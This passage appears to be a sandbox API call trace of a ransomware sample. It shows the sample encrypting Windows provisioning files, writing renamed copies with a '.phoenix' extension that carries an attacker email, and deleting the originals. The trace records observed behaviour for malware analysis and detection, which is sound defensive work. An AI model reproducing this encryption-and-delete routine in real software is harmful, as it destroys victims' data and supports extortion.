	[0258.488] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0258.489] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.489] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0258.490] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.490] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.490] CryptDestroyKey (hKey=0x151300) returned 1
	[0258.490] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.490] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.490] CloseHandle (hObject=0x2c0) returned 1
	[0258.491] CloseHandle (hObject=0x2d0) returned 1
	[0258.491] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.492] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.493] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=777) returned 1
	[0258.493] CloseHandle (hObject=0x2d0) returned 1
	[0258.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.493] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.493] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.493] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.493] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.494] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0258.494] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.494] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x309, lpOverlapped=0x0) returned 1
	[0258.495] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0258.495] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0258.496] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0258.496] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.496] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0258.496] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.496] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0258.496] CryptDestroyKey (hKey=0x151200) returned 1
	[0258.496] CloseHandle (hObject=0x2d0) returned 1
	[0258.496] CloseHandle (hObject=0x2c0) returned 1
	[0258.496] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.498] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=456) returned 1
	[0258.498] CloseHandle (hObject=0x2c0) returned 1
	[0258.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20
	[0258.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.498] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.498] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.498] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.498] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.499] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0258.499] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.499] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c8, lpOverlapped=0x0) returned 1
	[0258.675] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0258.675] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.676] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0258.676] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.676] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0258.676] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0258.676] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0258.677] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.677] CloseHandle (hObject=0x2c0) returned 1
	[0258.677] CloseHandle (hObject=0x2d0) returned 1
	[0258.677] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 1
	[0258.678] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.678] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.679] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=726) returned 1
	[0258.679] CloseHandle (hObject=0x2d0) returned 1
	[0258.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.679] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.679] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.679] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.680] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.680] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0258.680] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.680] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d6, lpOverlapped=0x0) returned 1
	[0258.707] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0258.707] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0258.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0258.708] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.708] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0, dwBufLen=0xe0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xe0) returned 1
	[0258.708] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.708] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x192, lpOverlapped=0x0) returned 1
	[0258.709] CryptDestroyKey (hKey=0x151140) returned 1
	[0258.709] CloseHandle (hObject=0x2d0) returned 1
	[0258.709] CloseHandle (hObject=0x2c0) returned 1
	[0258.709] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.713] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.714] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=456) returned 1
	[0258.714] CloseHandle (hObject=0x2c0) returned 1
	[0258.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.714] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.714] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.714] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.714] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.716] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.716] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.716] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c8, lpOverlapped=0x0) returned 1
	[0258.717] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0258.717] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.718] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0258.718] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.718] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.718] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.718] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.719] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.719] CloseHandle (hObject=0x2c0) returned 1
	[0258.719] CloseHandle (hObject=0x2d0) returned 1
